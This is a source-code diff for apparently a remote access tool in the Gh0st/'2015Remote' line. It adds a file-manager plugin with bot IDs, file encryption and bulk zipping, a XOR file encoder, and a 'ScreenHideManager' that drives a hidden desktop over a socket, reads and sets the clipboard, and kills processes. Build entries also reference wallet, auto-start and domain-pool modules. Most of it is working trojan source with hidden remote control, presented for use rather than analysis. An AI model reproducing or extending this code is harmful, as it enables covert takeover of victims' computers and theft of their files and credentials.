void OnReceive(LPBYTE lpBuffer, ULONG nSize);
UINT SendDriveList();
CFileManager(ISocketBase* pClient, int n, void* user);
virtual ~CFileManager();
private:
LPBYTE lpSendPacket;
std::list <std::string> m_UploadList;
BOOL m_bIsWow64;
UINT m_nTransferMode;
HANDLE m_hFileSend;
HANDLE m_hFileRecv;
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
bool benofrce;
TCHAR* copyfile;
HANDLE ImpersonateLoggedOnUserWrapper();
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
bool UploadToRemote(LPBYTE lpBuffer);
bool FixedUploadList(LPCTSTR lpszDirectory);
void StopTransfer(BOOL bIsUpload);
UINT SendFilesList(TCHAR* lpszDirectory);
bool DeleteDirectory(LPCTSTR lpszDirectory);
UINT SendFileSize(LPCTSTR lpszFileName);
void SendFileData(LPBYTE lpBuffer);
void CreateFolder(LPBYTE lpBuffer);
void Rename(LPBYTE lpBuffer);
int SendToken(BYTE bToken);
void CreateLocalRecvFile(LPBYTE lpBuffer);
void SetTransferMode(LPBYTE lpBuffer);
void GetFileData();
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
void UploadNext();
BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
void ExeCompress(BYTE* lpBuffer);
void SendSearchData(LPBYTE lpBuffer);
BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
protected:
HANDLE m_hWorkThread;
BOOL bIsStopSearch;
FILESEARCH filesearch;
void StopSearchTheard();
void SendSearchFilesList(LPCTSTR str);
static void WINAPI FindFileThread(LPVOID lparam);
void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
TCHAR g_desktopName[MAX_PATH];
ULONG PseudoRand(ULONG* seed);
void GetBotId(TCHAR* botId);
HDESK g_hDesk;;
bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
void SendNetHood(); //发送共享文件目录
void encfile(char* in_filename);
void decryptfile(char* in_filename);
bool FnDelPathFile(TCHAR* tc_path);
TCHAR* zippath_t;
HANDLE m_hWorkZIPThread;
BOOL bIsStopZIP;
void StopZIPTheard();
void StartZIP();
static void WINAPI FindZIPThread(LPVOID lparam);
void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
//info
void SendFileInfo(TCHAR* filepath,TCHAR * type);
bool ResizePicture(TCHAR* strSource);
TCHAR* volName; // 驱动盘名称
TCHAR* tc_search; // 搜索关键词
HANDLE hVol; // 用于储存驱动盘句柄
USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
long counter;
LPBYTE lpBuffer;
char* c_pathname;
};
}
+162
View File
@@ -0,0 +1,162 @@
#include "StdAfx.h"
#include "MasterEncoder.h"
#include <fstream>
#include <string>
#include <iostream>
namespace SimplePluginsFile {
MasterEncoder::MasterEncoder()
{
_codeKey = 100;
_sign = nullptr;
_signLen = 0;
}
MasterEncoder::~MasterEncoder()
{
SAFE_DELETE_AR(_sign);
}
void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
{
if (sign && signLen) {
_signLen = signLen;
SAFE_DELETE_AR(_sign);
_sign = new char[signLen];
if (_sign) {
memcpy(_sign, sign, signLen);
} else {
Mprintf("setSignAndKey Failed!\n");
}
}
_codeKey = key;
}
void MasterEncoder::encode(unsigned char* data, long size)
{
for (long i = 0; i < size; i++) {
data[i] ^= _codeKey;
}
}
void MasterEncoder::decode(unsigned char* data, long size)
{
for (long i = 0; i < size; i++) {
data[i] ^= _codeKey;
}
}
unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
{
std::ifstream ifs;
ifs.open(filepath, std::ios::in | std::ios::binary);
if (!ifs.is_open()) {
Mprintf("文件打开失败: %s\n", filepath.c_str());
return nullptr;
}
ifs.seekg(0, std::ios_base::end);
size =(long) ifs.tellg();
ifs.seekg(0, std::ios_base::beg);
unsigned char* data = new unsigned char[size];
long count = 0;
while (count < size) {
ifs.read((char*)&data[count], sizeof(unsigned char));
count++;
}
Mprintf("read PDF size = %d\n", size);
ifs.close();
return data;
}
void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
{
std::ofstream ofs;
ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
if (!ofs.is_open()) {
Mprintf("文件打开失败: %s\n", filePath.c_str());
return;
}
long count = 0;
while (count < size) {
ofs.write((char*)&data[count], sizeof(unsigned char));
count++;
}
Mprintf("save PDF size = %d\n", size);
ofs.close();
}
void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
{
long size = 0;
unsigned char* data = readPDF(pdfPath, size);
//判断是否已经加密过
if (memcmp(data, _sign, _signLen) == 0) {
Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
writePDF(savePath, data, size);
} else {
encode(data, size);
if (_signLen > 0) {
unsigned char* p = new unsigned char[size + _signLen];
memcpy(p, _sign, _signLen);
memcpy(p + _signLen, data, size);
writePDF(savePath, p, size + _signLen);
delete[] p;
} else {
writePDF(savePath, data, size);
}
}
delete[] data;
}
void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
{
long size = 0;
unsigned char* data = readPDF(pdfPath, size);
if (_signLen == 0) {
decode(data, size);
writePDF(savePath, data, size);
} else if (memcmp(data, _sign, _signLen) == 0) {
unsigned char* p = (data + _signLen);
decode(p, size - _signLen);
writePDF(savePath, p, size - _signLen);
} else {
Mprintf("解密失败: %s\n", pdfPath.c_str());
}
delete[] data;
}
unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
{
unsigned char* data = readPDF(pdfPath, size);
if (_signLen == 0) {
decode(data, size);
return data;
} else if (memcmp(data, _sign, _signLen) == 0) {
size -= _signLen;
unsigned char* p = new unsigned char[size];
memcpy(p, data + _signLen, size);
decode(p, size);
delete[] data;
return p;
} else {
return data;
}
}
}
+32
View File
@@ -0,0 +1,32 @@
#pragma once
#include <string>
namespace SimplePluginsFile {
class MasterEncoder
{
public:
MasterEncoder();
~MasterEncoder();
void setSignAndKey(char* sign, int signLen, unsigned char key);
void decode(unsigned char* data, long size);
void encode(unsigned char* data, long size);
void writePDF(const std::string& filePath, unsigned char* data, long size);
unsigned char* readPDF(const std::string& filepath, long& size);
public:
void encodePDF(const std::string& pdfPath, const std::string& savePath);
void decodePDF(const std::string& pdfPath, const std::string& savePath);
unsigned char* decode(const std::string& pdfPath, long& size);
private:
unsigned char _codeKey;
char* _sign;
int _signLen;
};
}
+2911
View File
File diff suppressed because it is too large. Load diff
+207
View File
@@ -0,0 +1,207 @@
//
//http://www.codeproject.com/KB/files/zip_utils.aspx
//
#ifndef _zip_H
#define _zip_H
// ZIP functions -- for creating zip files
// This file is a repackaged form of the Info-Zip source code available
// at www.info-zip.org. The original copyright notice may be found in
// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
// extend its use in Windows/C++. Also to add encryption and unicode.
#ifndef _unzip_H
DECLARE_HANDLE(HZIP);
#endif
// An HZIP identifies a zip file that is being created
typedef DWORD ZRESULT;
// return codes from any of the zip functions. Listed later.
HZIP CreateZip(const TCHAR* fn, const char* password);
HZIP CreateZip(void* buf, unsigned int len, const char* password);
HZIP CreateZipHandle(HANDLE h, const char* password);
// CreateZip - call this to start the creation of a zip file.
// As the zip is being created, it will be stored somewhere:
// to a pipe: CreateZipHandle(hpipe_write);
// in a file (by handle): CreateZipHandle(hfile);
// in a file (by name): CreateZip("c:\\test.zip");
// in memory: CreateZip(buf, len);
// or in pagefile memory: CreateZip(0, len);
// The final case stores it in memory backed by the system paging file,
// where the zip may not exceed len bytes. This is a bit friendlier than
// allocating memory with new[]: it won't lead to fragmentation, and the
// memory won't be touched unless needed. That means you can give very
// large estimates of the maximum-size without too much worry.
// As for the password, it lets you encrypt every file in the archive.
// (This api doesn't support per-file encryption.)
// Note: because pipes don't allow random access, the structure of a zipfile
// created into a pipe is slightly different from that created into a file
// or memory. In particular, the compressed-size of the item cannot be
// stored in the zipfile until after the item itself. (Also, for an item added
// itself via a pipe, the uncompressed-size might not either be known until
// after.) This is not normally a problem. But if you try to unzip via a pipe
// as well, then the unzipper will not know these things about the item until
// after it has been unzipped. Therefore: for unzippers which don't just write
// each item to disk or to a pipe, but instead pre-allocate memory space into
// which to unzip them, then either you have to create the zip not to a pipe,
// or you have to add items not from a pipe, or at least when adding items
// from a pipe you have to specify the length.
// Note: for windows-ce, you cannot close the handle until after CloseZip.
// but for real windows, the zip makes its own copy of your handle, so you
// can close yours anytime.
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
// ZipAdd - call this for each file to be added to the zip.
// dstzn is the name that the file will be stored as in the zip file.
// The file to be added to the zip can come
// from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
// from a file: ZipAddHandle(hz,"file.dat", hfile);
// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
// from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
// (folder): ZipAddFolder(hz,"subdir");
// Note: if adding an item from a pipe, and if also creating the zip file itself
// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
// function. This will let the zipfile store the item's size ahead of the
// compressed item itself, which in turn makes it easier when unzipping the
// zipfile from a pipe.
ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
// then this function will return information about that memory block.
// buf will receive a pointer to its start, and len its length.
// Note: you can't add any more after calling this.
ZRESULT CloseZip(HZIP hz);
// CloseZip - the zip handle must be closed with this function.
unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
// FormatZipMessage - given an error code, formats it as a string.
// It returns the length of the error message. If buf/len points
// to a real buffer, then it also writes as much as possible into there.
// These are the result codes:
#define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
#define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
// The following come from general system stuff (e.g. files not openable)
#define ZR_GENMASK 0x0000FF00
#define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
#define ZR_NOFILE 0x00000200 // couldn't create/open the file
#define ZR_NOALLOC 0x00000300 // failed to allocate some resource
#define ZR_WRITE 0x00000400 // a general error writing to the file
#define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
#define ZR_MORE 0x00000600 // there's still more data to be unzipped
#define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
#define ZR_READ 0x00000800 // a general error reading the file
// The following come from mistakes on the part of the caller
#define ZR_CALLERMASK 0x00FF0000
#define ZR_ARGS 0x00010000 // general mistake with the arguments
#define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
#define ZR_MEMSIZE 0x00030000 // the memory size is too small
#define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
#define ZR_ENDED 0x00050000 // the zip creation has already been closed
#define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
#define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
#define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
// The following come from bugs within the zip library itself
#define ZR_BUGMASK 0xFF000000
#define ZR_NOTINITED 0x01000000 // initialisation didn't work
#define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
#define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
#define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
// e.g.
//
// (1) Traditional use, creating a zipfile from existing files
// HZIP hz = CreateZip("c:\\simple1.zip",0);
// ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
// ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
// CloseZip(hz);
//
// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
// HZIP hz = CreateZip(0,100000, 0);
// // adding a conventional file...
// ZipAdd(hz,"src1.txt", "c:\\src1.txt");
// // adding something from memory...
// char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
// ZipAdd(hz,"file.dat", buf,1000);
// // adding something from a pipe...
// HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
// HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
// ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
// WaitForSingleObject(hthread,INFINITE);
// CloseHandle(hthread); CloseHandle(hread);
// ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
// { HANDLE hwrite = (HANDLE)dat;
// char buf[1000]={17};
// DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
// CloseHandle(hwrite);
// return 0;
// }
// // and now that the zip is created, let's do something with it:
// void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
// HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
// DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
// CloseHandle(hfz);
// CloseZip(hz);
//
// (3) Handle use, for file handles and pipes
// HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
// HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
// HZIP hz = CreateZipHandle(hzwrite,0);
// // ... add to it
// CloseZip(hz);
// CloseHandle(hzwrite);
// WaitForSingleObject(hthread,INFINITE);
// CloseHandle(hthread);
// ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
// { HANDLE hread = (HANDLE)dat;
// char buf[1000];
// while (true)
// { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
// // ... and do something with this zip data we're receiving
// if (red==0) break;
// }
// CloseHandle(hread);
// return 0;
// }
// Now we indulge in a little skullduggery so that the code works whether
// the user has included just zip or both zip and unzip.
// Idea: if header files for both zip and unzip are present, then presumably
// the cpp files for zip and unzip are both present, so we will call
// one or the other of them based on a dynamic choice. If the header file
// for only one is present, then we will bind to that particular one.
ZRESULT CloseZipZ(HZIP hz);
unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
bool IsZipHandleZ(HZIP hz);
#ifdef _unzip_H
#undef CloseZip
#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
#else
#define CloseZip CloseZipZ
#define FormatZipMessage FormatZipMessageZ
#endif
#endif
+23
View File
@@ -185,6 +185,7 @@
<ClCompile Include="..\common\ikcp.c" /> <ClCompile Include="..\common\ikcp.c" />
<ClCompile Include="..\common\zstd_wrapper.c" /> <ClCompile Include="..\common\zstd_wrapper.c" />
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" /> <ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="Audio.cpp" /> <ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" /> <ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" /> <ClCompile Include="Buffer.cpp" />
@@ -193,6 +194,13 @@
<ClCompile Include="ClientDll.cpp" /> <ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" /> <ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" /> <ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp">
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
</ClCompile>
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" /> <ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" /> <ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" /> <ClCompile Include="IOCPUDPClient.cpp" />
@@ -213,6 +221,7 @@
<ClCompile Include="ScreenPreview.cpp" /> <ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" /> <ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" /> <ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="ServiceWrapper.c" /> <ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" /> <ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" /> <ClCompile Include="SessionMonitor.c" />
@@ -224,6 +233,8 @@
<ClCompile Include="CFFmpegH264Encoder.cpp" /> <ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" /> <ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" /> <ClCompile Include="TalkManager.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="VideoManager.cpp" /> <ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" /> <ClCompile Include="X264Encoder.cpp" />
</ItemGroup> </ItemGroup>
@@ -234,6 +245,7 @@
<ClInclude Include="..\common\wallet.h" /> <ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" /> <ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" /> <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="Audio.h" /> <ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" /> <ClInclude Include="AudioManager.h" />
<ClInclude Include="auto_start.h" /> <ClInclude Include="auto_start.h" />
@@ -245,6 +257,13 @@
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="domain_pool.h" /> <ClInclude Include="domain_pool.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" /> <ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" /> <ClInclude Include="IOCPUDPClient.h" />
@@ -267,6 +286,7 @@
<ClInclude Include="ScreenPreview.h" /> <ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" /> <ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" /> <ClInclude Include="ServicesManager.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ServiceWrapper.h" /> <ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" /> <ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" /> <ClInclude Include="SessionMonitor.h" />
@@ -279,6 +299,9 @@
<ClInclude Include="SystemManager.h" /> <ClInclude Include="SystemManager.h" />
<ClInclude Include="VideoEncoderBase.h" /> <ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="TalkManager.h" /> <ClInclude Include="TalkManager.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" /> <ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" /> <ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" /> <ClInclude Include="X264Encoder.h" />
+6 -1
View File
@@ -450,7 +450,12 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
param.User = g_Server.pwdHash; param.User = g_Server.pwdHash;
threadHandle = CreateThread(NULL, 0, run, &param, 0, NULL); threadHandle = CreateThread(NULL, 0, run, &param, 0, NULL);
} else if (fdwReason == DLL_PROCESS_DETACH) { } else if (fdwReason == DLL_PROCESS_DETACH) {
if (threadHandle) TerminateThread(threadHandle, 0x20250619); if (threadHandle) {
// DLL 卸载时强杀线程前记录日志,便于定位死锁。此处 Mprintf 在 release 被定义为空,
// 且 DETACH 阶段 CRT 可能已不可用,故用内核 API OutputDebugStringA 输出。
OutputDebugStringA("TerminateThread: DllMain DLL_PROCESS_DETACH\n");
TerminateThread(threadHandle, 0x20250619);
}
} }
return TRUE; return TRUE;
} }
+7 -2
View File
@@ -9,14 +9,19 @@
#define IDI_ICON2 105 #define IDI_ICON2 105
#define IDI_ICON_MSG 105 #define IDI_ICON_MSG 105
#define IDC_EDIT_MESSAGE 1000 #define IDC_EDIT_MESSAGE 1000
#define IDD_CHAT 106
#define IDC_EDIT_CHATLOG 1001
#define IDC_EDIT_NEWMSG 1002
#define IDC_BUTTON_SEND 1003
#define IDC_BUTTON_END 1004
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 106 #define _APS_NEXT_RESOURCE_VALUE 107
#define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_CONTROL_VALUE 1005
#define _APS_NEXT_SYMED_VALUE 101 #define _APS_NEXT_SYMED_VALUE 101
#endif #endif
#endif #endif
+615
View File
@@ -0,0 +1,615 @@
// ScreenManagers.cpp: implementation of the CScreenHideManager class.
//
//////////////////////////////////////////////////////////////////////
#include "StdAfx.h"
#include <Windowsx.h>
#include "ScreenHideManager.h"
#include <WinUser.h>
#include <string>
#include <Shlwapi.h>
#include <ShlObj.h>
#include <Tlhelp32.h>
#include <shellapi.h>
#include <winioctl.h>
#include <Wtsapi32.h>
#include <set>
#include <vector>
#pragma comment (lib, "Shlwapi.lib")
namespace SimplePluginsScreenHide {
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
// 切换到目标桌面
if (!SetThreadDesktop(hDesk)) {
return FALSE;
}
// 枚举目标桌面的所有窗口
BOOL bFound = FALSE;
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
// 获取进程名
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
if (hProcess) {
char exePath[MAX_PATH];
DWORD size = MAX_PATH;
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
if (_stricmp(exePath, pData->first) == 0) {
*(pData->second) = TRUE;
return FALSE; // 终止枚举
}
}
CloseHandle(hProcess);
}
return TRUE; // 继续枚举
}, reinterpret_cast<LPARAM>(&data));
return bFound;
}
// 获取指定桌面下的所有进程ID
std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
std::set<DWORD> pidSet;
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
if (SetThreadDesktop(hDesk)) {
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
// 跳过不可见窗口和子窗口
if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
DWORD pid = 0;
GetWindowThreadProcessId(hWnd, &pid);
if (pid != 0) pids.insert(pid);
}
return TRUE;
}, reinterpret_cast<LPARAM>(&pidSet));
SetThreadDesktop(hOriginalDesk);
}
return std::vector<DWORD>(pidSet.begin(), pidSet.end());
}
bool IsSystemProcess(DWORD pid) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) return true;
char exeName[MAX_PATH];
DWORD size = MAX_PATH;
bool isSystem = false;
if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
isSystem = (_stricmp(exeName, szExplorerFile)==0);
}
CloseHandle(hProcess);
return isSystem;
}
void SafeTerminateDesktopProcesses(HDESK hDesk) {
// 检查桌面句柄有效性
if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
// 获取当前桌面(用于恢复)
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
if (!hOriginalDesk) {
Mprintf("Failed to get original desktop\n");
return;
}
// 切换桌面
if (!SetThreadDesktop(hDesk)) {
Mprintf("SetThreadDesktop failed\n");
return;
}
// 枚举进程
auto pids = GetProcessIdsInDesktop(hDesk);
SetThreadDesktop(hOriginalDesk); // 立即恢复
// 终止进程
for (DWORD pid : pids) {
if (pid == GetCurrentProcessId()) continue; // 跳过自己
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) {
Mprintf("OpenProcess failed for PID: %d\n", pid);
continue;
}
// 检查是否为系统进程
if (IsSystemProcess(pid)) {
CloseHandle(hProcess);
continue;
}
// 终止进程
if (!TerminateProcess(hProcess, 0)) {
Mprintf("TerminateProcess failed for PID: %d\n", pid);
}
CloseHandle(hProcess);
}
}
void CopyDir(TCHAR* from, TCHAR* to)
{
TCHAR fromWildCard[MAX_PATH] = { 0 };
lstrcpy(fromWildCard, from);
lstrcat(fromWildCard, _T("\\*"));
if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
return;
WIN32_FIND_DATA findData;
HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
if (hFindFile == INVALID_HANDLE_VALUE)
return;
do {
TCHAR currFileFrom[MAX_PATH] = { 0 };
lstrcpy(currFileFrom, from);
lstrcat(currFileFrom, _T("\\"));
lstrcat(currFileFrom, findData.cFileName);
TCHAR currFileTo[MAX_PATH] = { 0 };
lstrcpy(currFileTo, to);
lstrcat(currFileTo, _T("\\"));
lstrcat(currFileTo, findData.cFileName);
if
(
findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
strcmp(findData.cFileName, _T(".")) &&
strcmp(findData.cFileName, _T(".."))
) {
if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
CopyDir(currFileFrom, currFileTo);
} else
CopyFile(currFileFrom, currFileTo, FALSE);
} while (FindNextFile(hFindFile, &findData));
}
void killproc(const TCHAR* name)
{
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
PROCESSENTRY32 pEntry;
pEntry.dwSize = sizeof(pEntry);
BOOL hRes = Process32First(hSnapShot, &pEntry);
while (hRes) {
if (strcmp(pEntry.szExeFile, name) == 0) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
(DWORD)pEntry.th32ProcessID);
if (hProcess != NULL) {
TerminateProcess(hProcess, 9);
CloseHandle(hProcess);
}
}
hRes = Process32Next(hSnapShot, &pEntry);
}
CloseHandle(hSnapShot);
}
CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
CScreenManagerBase(pClient, nBitDepth, user)
{
m_DlgToken = TOKEN_BITMAPINFO_HIDE;
}
CScreenHideManager::~CScreenHideManager()
{
}
VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
switch (lpBuffer[0]) {
case COMMAND_FLUSH_HIDE:
ResetScreen(32);
break;
case COMMAND_SCREEN_CONTROL:
ProcessCommand(lpBuffer + 1, nSize - 1);
break;
case COMMAND_NEXT:
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendClientClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
break;
case COMMAND_SCREEN_SETSCREEN_HIDE:
Loop_Screen();
break;
case COMMAND_COMMAND_SCREENUALITY60_HIDE:
m_ScreenSpyObject->SendQuality(60);
break;
case COMMAND_COMMAND_SCREENUALITY85_HIDE:
m_ScreenSpyObject->SendQuality(85);
break;
case COMMAND_COMMAND_SCREENUALITY100_HIDE:
m_ScreenSpyObject->SendQuality(100);
break;
case COMMAND_HIDE_USER: {
return OnUserCommand(lpBuffer, nSize);
}
break;
case COMMAND_HIDE_CLEAR:
SafeTerminateDesktopProcesses(g_hDesk);
break;
default:
Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
break;
}
}
void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
char* deskName = (char*)m_DesktopID.c_str();
switch (lpBuffer[1]) {
case IDM_OPEN_Explorer: {
